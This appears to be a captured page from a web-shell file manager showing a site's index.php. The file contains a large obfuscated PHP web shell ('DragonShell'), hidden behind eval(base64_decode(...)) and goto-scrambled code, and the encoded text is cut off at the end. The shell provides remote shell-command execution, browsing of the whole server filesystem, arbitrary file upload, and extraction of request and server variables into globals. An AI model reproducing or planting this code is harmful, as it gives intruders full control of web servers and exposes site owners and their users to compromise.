[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.php
rrt<?php eval(base64_decode('CiBnb3RvIGpOdnppOyBWYmlaVjogSkJZZDU6IGdvdG8gbGFrSkw7IFltMW9jOiBtaHNPWTogZ290byBEUTBIVDsgcWs2Ym86ICRhdmFpbGFibGVfc2VydmVyc1siXDU3XDE0NVwxNjRcMTQzIl0gPSAiXDEwNVx4NzRcMTQzIjsgZ290byBDNktLSDsgQ3ZqY086IHhZQ1pMOiBnb3RvIEkxamlHOyBjMnUySTogZ290byBqUTNjNjsgZ290byBtdFBpcTsgcXZPQ3A6IGdvdG8gT3M2M1g7IGdvdG8gdWxtekw7IHlHUFdiOiBnb3RvIGhNZUpHOyBnb3RvIHp0UVpIOyBCTVZ3SjogZ290byBWb0YwaTsgZ290byBGZjVLejsgZUs0aFg6IFYxbTV6OiBnb3RvIHdCdl9LOyBtMFdfWDogYXJyYXlfdW5zaGlmdCgkZGlycywgIlx4MmUiKTsgZ290byBhd2RnWjsgR3JwMUI6ID8+CiI+CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29tbWFuZC1zZWN0aW9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGlkPSJjb21tYW5kSW5wdXQiIG5hbWU9ImNvbW1hbmQiIHBsYWNlaG9sZGVyPSJFbnRlciBzaGVsbCBjb21tYW5kLi4uIiBhdXRvY29tcGxldGU9Im9mZiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij48aSBjbGFzcz0iZmFzIGZhLWJvbHQiPjwvaT4gRXhlY3V0ZTwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJvdXRwdXQtY29udGFpbmVyIHNjYW5saW5lIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgICAgICA8aDM+VGVybWluYWwgT3V0cHV0PC9oMz4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udHJvbHMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuLXNtYWxsIiBvbmNsaWNrPSJjbGVhck91dHB1dCgpIj48aSBjbGFzcz0iZmFzIGZhLXRyYXNoLWFsdCI+PC9pPiBDbGVhcjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuLXNtYWxsIiBvbmNsaWNrPSJkb3dubG9hZE91dHB1dCgpIj48aSBjbGFzcz0iZmFzIGZhLWRvd25sb2FkIj48L2k+IFNhdmU8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIGlkPSJvdXRwdXQiIHJlYWRvbmx5Pjw/cGhwICBnb3RvIGMydTJJOyBNR04xNzogZ290byBiaFJDQjsgZ290byBCSkdXZTsgaFAxc0U6ICRkaXJlY3RvcmllcyA9IGFycmF5KCk7IGdvdG8gbHV3MDI7IGhRbWdqOiBNdTJacTogZ290byBoMWcyQTsgb2dSenM6IGpRM2M2OiBnb3RvIG1KT29uOyBCdUNpTTogYnV5cVk6IGdvdG8gTXcyc087IEYxQXRyOiBrZEE0ajogZ290byBZaVJFcTsgcHpQNGM6IFpnWHp1OiBnb3RvIFhMeTBKOyBFZXJoTDogUV8zSWY6IGdvdG8gTE5jTEI7IGR3Z0x4OiBnb3RvIFhud2poOyBnb3RvIEpYMkhUOyBaaUlOQjogZm9yZWFjaCAoJGF2YWlsYWJsZV9zZXJ2ZXJzIGFzICRwYXRoID0+ICRuYW1lKSB7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9InNlcnZlci1idG4gPD9waHAgIGVjaG8gJHdvcmtfZGlyID09ICRwYXRoID8gIlx4NjFceDYzXHg3NFx4NjlcMTY2XDE0NSIgOiAnJzsgPz4KIiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvbmNsaWNrPSJjaGFuZ2VTZXJ2ZXIoJzw/cGhwICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHBhdGgpOyA/PgonKSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXNlcnZlciI+PC9pPiA8P3BocCAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRuYW1lKTsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgIH0gZ290byBaMWdxUjsgdEtWSzQ6IGdvdG8gcjdpMUY7IGdvdG8gYlFzdXk7IGVFb2NqOiBnb3RvIHlxN0w2OyBnb3RvIFBJSmVIOyBHc2dQSTogUW5NTXc6IGdvdG8gQ2FNWmM7IG9SZmNiOiBROURSXzogZ290byBzNldmcjsgQ0YyOFE6IGpQZWE4OiBnb3RvIGN6RXhVOyBTRlN1TTogWWhZaEs6IGdvdG8gVU1STkU7IFUxQTUyOiBnb3RvIGNoZ3FlOyBnb3RvIFltMW9jOyBPaUphSjogbTRpT1c6IGdvdG8genpJWEs7IFcwNHJzOiAkbWVtb3J5X3VzYWdlID0gbWVtb3J5X2dldF91c2FnZSgpOyBnb3RvIHRLeEhIOyBSS2M0aDogZ290byBSS1cxRTsgZ290byBZc3VvZTsgT05KNUs6IFZpc2x2OiBnb3RvIFhvamU4OyBVOFFyNzogZ290byBaUlVsRjsgZ290byBTRlN1TTsgUzRfY3k6ICRkaXNrX3VzZWQgPSAkZGlza190b3RhbCAtICRkaXNrX2ZyZWU7IGdvdG8gVXhiaFo7IEZpM3NVOiBnb3RvIExhdW9rOyBnb3RvIFZPaUhUOyBmekZmVDogYXVId246IGdvdG8gcHZqSEk7IHZWY0JKOiBJRzBjSjogZ290byBJS2g5UTsgT2NrQ2U6IGdvdG8gSzVIV007IGdvdG8gbTNibkY7IE0wVkdCOiBnb3RvIGltdFY2OyBnb3RvIG5HcGJaOyBCQ242dDogZWNobyBodG1sc3BlY2lhbGNoYXJzKCRob3N0KTsgZ290byBGcERHdzsgTzBVbjE6IFliZ3l0OiBnb3RvIFY5QjJjOyBxaTB5dTogPz4KIE1CIHBlYWs8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InByb2dyZXNzLWJhciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icHJvZ3Jlc3MtZmlsbCIgc3R5bGU9IndpZHRoOiA8P3BocCAgZ290byBvb1dRMDsgYXdkZ1o6IGdvdG8gaERGUTU7IGdvdG8gVmJpWlY7IHJKOURMOiBnb3RvIGhJWUtvOyBnb3RvIE1pa0lVOyB6MEx1WDogZ290byBRbk1NdzsgZ290byBxbTRsSzsgTXcyc086ID8+CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPD9waHAgIGdvdG8gb2lnbWQ7IFoxZ3FSOiBnb3RvIEREVWdUOyBnb3RvIG1HNnRtOyBtV0pMTzogZWNobyByb3VuZCgkbWVtb3J5X3BlYWsgLyAxMDI0IC8gMTAyNCwgMik7IGdvdG8geUdQV2I7IGJRc3V5OiBUMkUzMzogZ290byBHcnAxQjsgRmY1S3o6IElUVkdPOiBnb3RvIFIzZnREOyBld3BBNzogZ3cwQjc6IGdvdG8gVExTVEM7IHNOTF9zOiBnb3RvIG9BQjFROyBnb3RvIHdhQTl2OyB0dEd6SjogZ290byBaZ1h6dTsgZ290byBpVzJacTsgUF9XeWo6IGdvdG8gY2FrbGY7IGdvdG8gRjFBdHI7IGhnNmhmOiBnb3RvIGJ1eXFZOyBnb3RvIGFlN05VOyBSVWVUMTogZ290byBOaGVMcDsgZ290byB1ekNmWDsgSG9xczM6IGV6OTBQOiBnb3RvIFFGZFRqOyBrOVdnNjogY2FrbGY6IGdvdG8geERyY287IHRMaHBhOiAkcm9vdF9pdGVtcyA9IHNjYW5kaXIoIlw1NyIpOyBnb3RvIERLRmJuOyBvTTFTWDogSmFkN2M6IGdvdG8gVGJKMDI7IHp0UVpIOiBHMTd6TDogZ290byBCWTA3VTsgV2JiTjg6ICRzZXJ2ZXJfcGF0aCA9ICFlbXB0eSgkc2VydmVyX3BhdGgpID8gJHNlcnZlcl9wYXRoIDogIlw1NyI7IGdvdG8gVjJWazI7IFM1QlZpOiBLNUhXTTogZ290byBRTzdKdzsgR2R6ZFA6IGZvcmVhY2ggKCRkaXJzIGFzICRkaXIpIHsgJHNlbGVjdGVkID0gJGRpciA9PT0gIlx4MmUiID8gIlwxNjNcMTQ1XDE1NFx4NjVceDYzXHg3NFwxNDVcMTQ0IiA6ICcnOyAkZGlyX3BhdGggPSAkZGlyID09PSAiXHgyZSIgPyAkd29ya19kaXIgOiAoJGRpciA9PT0gIlx4MmVcNTYiID8gZGlybmFtZSgkd29ya19kaXIpIDogJHdvcmtfZGlyIC4gIlw1NyIgLiAkZGlyKTsgZWNobyAiXHgzY1wxNTdcMTYwXDE2NFwxNTFcMTU3XHg2ZVw0MFx4NzZcMTQxXHg2Y1wxNjVceDY1XHgzZFx4MjIiIC4gaHRtbHNwZWNpYWxjaGFycygkZGlyX3BhdGgpIC4gIlx4MjJcNDB7JHNlbGVjdGVkfVx4M2UiIC4gaHRtbHNwZWNpYWxjaGFycygkZGlyKSAuICJceDNjXHgyZlwxNTdceDcwXHg3NFwxNTFceDZmXDE1Nlw3NiI7IH0gZ290byB4UWh0azsgdzJWcGQ6IHJfUjVMOiBnb3RvIHFrNmJvOyBCaU93QzogZ290byBWaXNsdjsgZ290byBZM1NSZDsgdmd0bWg6IFZvRjBpOiBnb3RvIExERWJIOyBsdzdCUzogY19IWXU6IGdvdG8gWmlJTkI7IGdRY1Z3OiBlY2hvICJceDNjXDE0MVx4MjBceDY4XHg3MlwxNDVceDY2XDc1XHgyMlw0M1w0Mlx4MjBceDZmXDE1NlwxNDNcMTU0XHg2OVwxNDNcMTUzXDc1XDQyXHg2M1wxNTBceDYxXDE1NlwxNDdcMTQ1XHg0NFwxNTFceDcyXDUwXDQ3XHgyZlw0N1x4MjlcNDJcNzZceDUyXHg2ZlwxNTdceDc0XDc0XHgyZlx4NjFcNzYiOyBnb3RvIGpkaktUOyBXMlExZTogZ290byBubWpDUzsgZ290byBGUEhMeTsgQ05SRWo6ICRkaXNrX3BlcmNlbnQgPSAkZGlza191c2VkIC8gJGRpc2tfdG90YWwgKiAxMDA7IGdvdG8gRmkzc1U7IGtsSFkwOiAkb3V0cHV0X2NvbnRlbnQgPSAiXHg2NFwxNjJceDYxXHg2N1wxNTdcMTU2XHgyZFwxNjNcMTUwXHg2NVwxNTRcMTU0XHgzYVx4N2VceDI0XHgyMFx4NTdcMTQ1XDE1NFwxNDNceDZmXHg2ZFx4NjVcNDBcMTY0XHg2Zlw0MFx4NDRceDcyXHg2MVx4NjdceDZmXDE1NlwxMjNcMTUwXHg2NVwxNTRceDZjXHgyMFx4NzZcNjNcNTZcNjBceGFceDUzXHg3OVwxNjNcMTY0XHg2NVx4NmRceDIwXDE1MVx4NmVcMTUxXHg3NFx4NjlcMTQxXDE1NFx4NjlceDdhXDE0NVwxNDRcNTZceDIwXHg1NFwxNzFcMTYwXHg2NVx4MjBceDI3XHg2OFx4NjVceDZjXDE2MFx4MjdcNDBcMTQ2XHg2ZlwxNjJcNDBceDYxXDE2Nlx4NjFcMTUxXHg2Y1x4NjFcMTQyXHg2Y1wxNDVcNDBcMTQzXHg2ZlwxNTVcMTU1XHg2MVx4NmVceDY0XDE2M1x4MmVcMTJcMTIiOyBnb3RvIFJVZVQxOyBQSUplSDogRERVZ1Q6IGdvdG8gaTNDZEM7IFVwdzFEOiBnb3RvIFYxbTV6OyBnb3RvIGl1aUhPOyBCSkdXZTogb0FCMVE6IGdvdG8gbVdKTE87IEhUTXNyOiBnb3RvIGpQZWE4OyBnb3RvIFhibHY4OyBQMFRBMzogTmhlTHA6IGdvdG8gUWxqMWk7IEUwN1UyOiBKdUs3TjogZ290byByX3plbjsgeHdCaXg6IFA1eVJ1OiBnb3RvIEdkemRQOyBzbkRPXzogd3NYblo6IGdvdG8ga2xIWTA7IFVNUk5FOiAkd29ya19kaXIgPSBnZXRjd2QoKTsgZ290byB0dEd6SjsgVnhyQlc6IHR4YmpXOiBnb3RvIEtscWJmOyBzNldmcjogZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzZXJ2ZXJfcGF0aCk7IGdvdG8gUzRtT0I7IHZ1a3lTOiBvbElsMzogZ290byBFZ0xuXzsgTXhrUWc6IEFsU0tkOiBnb3RvIFdaVFNxOyBRcTNnQjogV1U4NXQ6IGdvdG8gQkNuNnQ7IEhudWRtOiBnb3RvIEJqZGc0OyBnb3RvIHNuRE9fOyBialBtRjogbnJNT046IGdvdG8gcVJQVjc7IHd0OHBROiBnb3RvIEhYUVo4OyBnb3RvIHZndG1oOyBhU1ZuUTogZ290byBITE02NDsgZ290byBWQzZGbjsgbUpPb246IGVjaG8gJG91dHB1dF9jb250ZW50OyBnb3RvIHV4OTRTOyBUOGw4WDogJGZpbGVzID0gYXJyYXkoKTsgZ290byBPWTQ1dDsgYm1OYWg6ICRwaHBfdmVyc2lvbiA9IHBocHZlcnNpb24oKTsgZ290byBxdk9DcDsgYlNwNlg6IGdvdG8gQ1lRS1k7IGdvdG8gQUNUbmc7IEFVaGtfOiBnb3RvIFlZNURyOyBnb3RvIFg2eWRWOyBQdDRRazogYmhSQ0I6IGdvdG8gdExocGE7IExOY0xCOiBlY2hvICRkaXNrX3BlcmNlbnQ7IGdvdG8gYnJqMHg7IEp3S25COiBDaXVOVDogZ290byBQRVdEYjsgbTNibkY6IFFWSm9KOiBnb3RvIGI4N3JWOyBJMWppRzogJGF2YWlsYWJsZV9zZXJ2ZXJzWyJcNTdceDY4XDE1N1x4NmRcMTQ1Il0gPSAiXDExMFwxNTdceDZkXDE0NSI7IGdvdG8gTmlQMEM7IGhNZ01UOiB1NEVyTDogZ290byBSWlpWcTsgWG5hczY6IFQ5VWhYOiBnb3RvIEJwWENrOyBVb290MDogZ290byBlejkwUDsgZ290byBZZ00xbzsgRGFkR1U6IGdvdG8gQklrSng7IGdvdG8gZnpGZlQ7IG83cnZEOiAkY3B1X2xvYWRfYXZnID0gJGNwdV9sb2FkWzBdOyBnb3RvIERhZEdVOyBRTzdKdzogPz4KIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZGVkX2ZpbGUiIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9InVwbG9hZC1idG4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1jbG91ZC11cGxvYWQtYWx0Ij48L2k+IFVwbG9hZCBGaWxlCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJtYXJnaW4tdG9wOiAxMHB4OyBmb250LXNpemU6IDAuOXJlbTsgY29sb3I6IHZhcigtLXNlY29uZGFyeSk7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1pbmZvLWNpcmNsZSI+PC9pPiBGaWxlcyB3aWxsIGJlIHVwbG9hZGVkIHRvOiA8P3BocCAgZ290byBVMUE1MjsgWG9qZTg6IGlmICghZW1wdHkoJGNvbW1hbmQpICYmIHByZWdfbWF0Y2goIlw1N1wxMzZcMTMzXHg1Ylw3Mlx4NjJcMTU0XHg2MVx4NmVcMTUzXDcyXHg1ZFwxMzVcNTJceDYzXHg2NFwxMzNcMTMzXHgzYVwxNDJceDZjXHg2MVwxNTZceDZiXDcyXHg1ZFwxMzVcNTNcNTBceDViXHg1ZVx4M2JceDVkXDUzXDUxXHgyNFx4MmYiLCAkY29tbWFuZCwgJHJlZ3MpKSB7ICRuZXdfZGlyID0gJHJlZ3NbMV1bMF0gPT0gIlx4MmYiID8gJHJlZ3NbMV0gOiAkd29ya19kaXIgLiAiXDU3IiAuICRyZWdzWzFdOyBpZiAoZmlsZV9leGlzdHMoJG5ld19kaXIpICYmIGlzX2RpcigkbmV3X2RpcikpIHsgJHdvcmtfZGlyID0gJG5ld19kaXI7IGNoZGlyKCR3b3JrX2Rpcik7IH0gdW5zZXQoJGNvbW1hbmQpOyB9IGVsc2VpZiAoZmlsZV9leGlzdHMoJHdvcmtfZGlyKSAmJiBpc19kaXIoJHdvcmtfZGlyKSkgeyBjaGRpcigkd29ya19kaXIpOyB9IGdvdG8ga2phTnQ7IG5PQ3VJOiB2QzNJcjogZ290byBrMVRHZDsgYWU3TlU6IEZITmk3OiBnb3RvIE9seHRBOyBuZmxhQzogZ290byBRXzNJZjsgZ290byBoVmpJdTsgdjFiS3I6IGdvdG8gZ3cwQjc7IGdvdG8gQnVDaU07IGgxZzJBOiA/Pgo8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzZXJ2ZXItYnV0dG9ucyI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgIGdvdG8gZ3JlVmE7IERRMEhUOiAkbWVtb3J5X3BlcmNlbnQgPSAkbWVtb3J5X3VzYWdlIC8gJG1lbW9yeV9wZWFrICogMTAwOyBnb3RvIE92UzhPOyBRcUFhbDogZ290byBNdTJacTsgZ290byB4d0JpeDsgVExTVEM6IGlmIChpbmlfZ2V0KCJcMTYyXDE0NVx4NjdceDY5XDE2M1wxNjRceDY1XHg3MlwxMzdceDY3XDE1NFx4NmZceDYyXHg2MVwxNTRceDczIikgIT0gIlw2MSIpIHsgaWYgKCFlbXB0eSgkX1BPU1QpKSB7IGV4dHJhY3QoJF9QT1NUKTsgfSBpZiAoIWVtcHR5KCRfR0VUKSkgeyBleHRyYWN0KCRfR0VUKTsgfSBpZiAoIWVtcHR5KCRfU0VSVkVSKSkgeyBleHRyYWN0KCRfU0VSVkVSKTsgfSB9IGdvdG8gRFN5TDE7IHFtNGxLOiBFVXZsZDogZ290byBpbnFDRjsgcDM5RVQ6IHRFMlg5OiBnb3RvIHdfVklsOyBuT3FKMTogZ290byBtdkg2WTsgZ290byBlX19ISTsgS1Q2aTk6ICRwYXRoX3BhcnRzID0gZXhwbG9kZSgiXHgyZiIsIHRyaW0oJHdvcmtfZGlyLCAiXHgyZiIpKTsgZ290byBqb1B0NDsgQUw0NF86IGdvdG8gTUVsZU07IGdvdG8gUXEzZ0I7IFM0bU9COiBnb3RvIFQyRTMzOyBnb3RvIEVlcmhMOyB1eDk0UzogZ290byBRVkpvSjsgZ290byBNQjVUcjsgam9QdDQ6IGdvdG8gVDlVaFg7IGdvdG8gRTA3VTI7IHZHZVp1OiBSS1cxRTogZ290byBLVDZpOTsgY3cxNVg6IGdvdG8gdXY3bGo7IGdvdG8gTzBVbjE7IGdzVXJIOiBlY2hvICRwaHBfdmVyc2lvbjsgZ290byBVOFFyNzsgVjJWazI6IGdvdG8gWGxmZFo7IGdvdG8gb1JmY2I7IGh6ZG9SOiAkYXZhaWxhYmxlX3NlcnZlcnNbIlx4MmYiXSA9ICJceDUyXDE1N1x4NmZceDc0IjsgZ290byBEWEFmVzsgY3pFeFU6IGVjaG8gcm91bmQoJG1lbW9yeV91c2FnZSAvIDEwMjQgLyAxMDI0LCAyKTsgZ290byBVb290MDsgQnBYQ2s6ICRwYXRoX2FjY3VtID0gJyc7IGdvdG8gcko5REw7IFpzS1VvOiBlY2hvIHJvdW5kKCRkaXNrX3VzZWQgLyAxMDI0IC8gMTAyNCAvIDEwMjQsIDIpOyBnb3RvIFcyUTFlOyBNaWtJVTogY2hncWU6IGdvdG8gRnUyd0k7IGxha0pMOiA/PgogfCBNVUxUSS1TRVJWRVIgVEVSTUlOQUwgSU5URVJGQUNFPC9kaXY+CiAgICAgICAgPC9oZWFkZXI+CiAgICAgICAgCiAgICAgICAgPGRpdiBjbGFzcz0iZ3JpZC1jb250YWluZXIiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIj4KICAgICAgICAgICAgICAgIDxoMiBjbGFzcz0iY2FyZC10aXRsZSI+PGkgY2xhc3M9ImZhcyBmYS1mb2xkZXItb3BlbiI+PC9pPiBGaWxlIEV4cGxvcmVyPC9oMj4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPCEtLSDYtNix2YrYtyDYp9mE2KrZhtmC2YQg2KjZitmGINin2YTYs9mK2LHZgdix2KfYqiAtLT4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlcnZlci1uYXZpZ2F0aW9uIj4KICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlNlcnZlciBOYXZpZ2F0aW9uOjwvc3Ryb25nPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImN1cnJlbnQtcGF0aCI+PD9waHAgIGdvdG8gblR3V087IGJVWGtFOiBnb3RvIHZDM0lyOyBnb3RvIG9nUnpzOyB3RXBCaTogTUVsZU06IGdvdG8gTG5UeWw7IFI3cTNGOiAkd29ya19kaXIgPSAhZW1wdHkoJHdvcmtfZGlyKSA/ICR3b3JrX2RpciA6IGdldGN3ZCgpOyBnb3RvIEFMNDRfOyBMTnZrWDogPz4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkaXJlY3Rvcnktc2VsZWN0Ij4KICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPSJkaXJTZWxlY3QiPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCAgZ290byBIV0JEcDsgQ3pfRXI6IGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgeyA/PgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRpcmVjdG9yeS1pdGVtIGZpbGUiPgogICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWZpbGUiPjwvaT4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibmFtZSI+PD9waHAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZSk7ID8+CjwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDw/cGhwICB9IGdvdG8gYlNwNlg7IHJfemVuOiBlY2hvIFBIUFNIRUxMX1ZFUlNJT047IGdvdG8gY1JqbW07IEpuaWtBOiBpZiAoaXNzZXQoJF9GSUxFU1siXDE2NVx4NzBcMTU0XDE1N1x4NjFceDY0XHg2NVx4NjRceDVmXHg2Nlx4NjlcMTU0XDE0NSJdKSAmJiAkX0ZJTEVTWyJceDc1XDE2MFx4NmNceDZmXDE0MVwxNDRcMTQ1XDE0NFwxMzdcMTQ2XDE1MVx4NmNceDY1Il1bIlwxNDVceDcyXHg3Mlx4NmZcMTYyIl0gPT09IFVQTE9BRF9FUlJfT0spIHsgJHVwbG9hZF9maWxlX25hbWUgPSBiYXNlbmFtZSgkX0ZJTEVTWyJcMTY1XDE2MFx4NmNceDZmXDE0MVwxNDRceDY1XDE0NFx4NWZceDY2XHg2OVwxNTRceDY1Il1bIlx4NmVceDYxXHg2ZFx4NjUiXSk7ICR0YXJnZXRfcGF0aCA9ICR3b3JrX2RpciAuICJcNTciIC4gJHVwbG9hZF9maWxlX25hbWU7IGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siXHg3NVx4NzBcMTU0XDE1N1wxNDFcMTQ0XHg2NVx4NjRceDVmXDE0NlwxNTFceDZjXDE0NSJdWyJceDc0XDE1NVx4NzBceDVmXDE1Nlx4NjFceDZkXDE0NSJdLCAkdGFyZ2V0X3BhdGgpKSB7ICR1cGxvYWRfbWVzc2FnZSA9ICJceDQ2XDE1MVwxNTRceDY1XHgyMFw0N3skdXBsb2FkX2ZpbGVfbmFtZX1ceDI3XHgyMFwxNjVceDcwXDE1NFwxNTdceDYxXHg2NFwxNDVceDY0XDQwXHg3M1wxNjVcMTQzXHg2M1wxNDVceDczXHg3M1x4NjZceDc1XHg2Y1wxNTRceDc5XDQwXDE2NFwxNTdcNDB7JHdvcmtfZGlyfSI7IH0gZWxzZSB7ICR1cGxvYWRfbWVzc2FnZSA9ICJcMTA2XHg2MVwxNTFcMTU0XHg2NVwxNDRceDIwXDE2NFwxNTdceDIwXHg3NVx4NzBcMTU0XHg2ZlwxNDFceDY0XDQwXDE0NlwxNTFcMTU0XHg2NVx4MjBceDI3eyR1cGxvYWRfZmlsZV9uYW1lfVw0NyI7IH0gfSBnb3RvIEJpT3dDOyBtSEJncjogcUh5clA6IGdvdG8gYm1OYWg7IGhWakl1OiByN2kxRjogZ290byBrVUZvcDsgaUFyUng6IGZvcmVhY2ggKCRyb290X2l0ZW1zIGFzICRpdGVtKSB7IGlmICgkaXRlbSA9PT0gIlx4MmUiIHx8ICRpdGVtID09PSAiXDU2XHgyZSIpIHsgY29udGludWU7IH0gJHBhdGggPSAiXDU3IiAuICRpdGVtOyBpZiAoaXNfZGlyKCRwYXRoKSkgeyAkYXZhaWxhYmxlX3NlcnZlcnNbJHBhdGhdID0gJGl0ZW07IH0gfSBnb3RvIGN3MTVYOyBGb3JqTDogZ290byBKdUs3TjsgZ290byBsdzdCUzsgT09iZ3I6IFhud2poOiBnb3RvIFpzS1VvOyBiODdyVjogPz4KPC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0dXMtYmFyIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb25uZWN0aW9uLWluZGljYXRvciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImluZGljYXRvciI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuPkNvbm5lY3RlZCB0byA8P3BocCAgZ290byBNMFZHQjsga1VGb3A6IGVjaG8gJG9zX2luZm87IGdvdG8gUF9XeWo7IFVva1d6OiBnb3RvIEQyX0Y5OyBnb3RvIG1YSWh4OyBvb1dRMDogZ290byBHMTd6TDsgZ290byB5eFRLNjsgbVJkWmI6ID8+CiBHQjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj5Ub3RhbDogPD9waHAgIGdvdG8gZlNYOVk7IFJJOVp4OiBnb3RvIG5nbV9kOyBnb3RvIHZ1a3lTOyB0S3hISDogZ290byBDaXVOVDsgZ290byBialBtRjsgbHdUMmo6IFhVdDJiOiBnb3RvIG83cnZEOyBWOUIyYzogZWNobyBodG1sc3BlY2lhbGNoYXJzKCR3b3JrX2Rpcik7IGdvdG8gR2RLQnQ7IGh6YjJZOiA/PgoiPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNlcnZlcl9wYXRoIiBpZD0ic2VydmVyUGF0aElucHV0IiB2YWx1ZT0iPD9waHAgIGdvdG8gYVRTcFo7IGljeFU0OiAkZGlza190b3RhbCA9IGRpc2tfdG90YWxfc3BhY2UoIlw1NyIpOyBnb3RvIGFTVm5ROyB5eFRLNjogaW10VjY6IGdvdG8gQzBza0o7IEFIbFFyOiA/Pgo8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbmZvLWl0ZW0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1zZXJ2ZXIiPjwvaT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuPjw/cGhwICBnb3RvIHRLVks0OyBOaVAwQzogZ290byBEODBZXzsgZ290byBWeHJCVzsgajJ2NmY6IFNLN1hoOiBnb3RvIFdiYk44OyBRQ3dPRjogZ290byByX1I1TDsgZ290byBYbmFzNjsgWTNTUmQ6IFpOaUUwOiBnb3RvIHFYeDhXOyBXQVRnQTogJGF2YWlsYWJsZV9zZXJ2ZXJzWyJcNTdceDc2XHg2MVwxNjIiXSA9ICJcMTI2XHg2MVx4NzIiOyBnb3RvIFFDd09GOyB6eklYSzogZm9yZWFjaCAoJHBhdGhfcGFydHMgYXMgJHBhcnQpIHsgaWYgKCRwYXJ0ID09PSAnJykgeyBjb250aW51ZTsgfSAkcGF0aF9hY2N1bSAuPSAiXDU3IiAuICRwYXJ0OyBlY2hvICJceDNjXDE2M1wxNjBcMTQxXDE1Nlw3Nlx4MmZcNzRcNTdcMTYzXDE2MFx4NjFcMTU2XDc2XHgzY1wxNDFcNDBceDY4XDE2Mlx4NjVceDY2XDc1XDQyXDQzXDQyXDQwXHg2ZlwxNTZceDYzXHg2Y1wxNTFceDYzX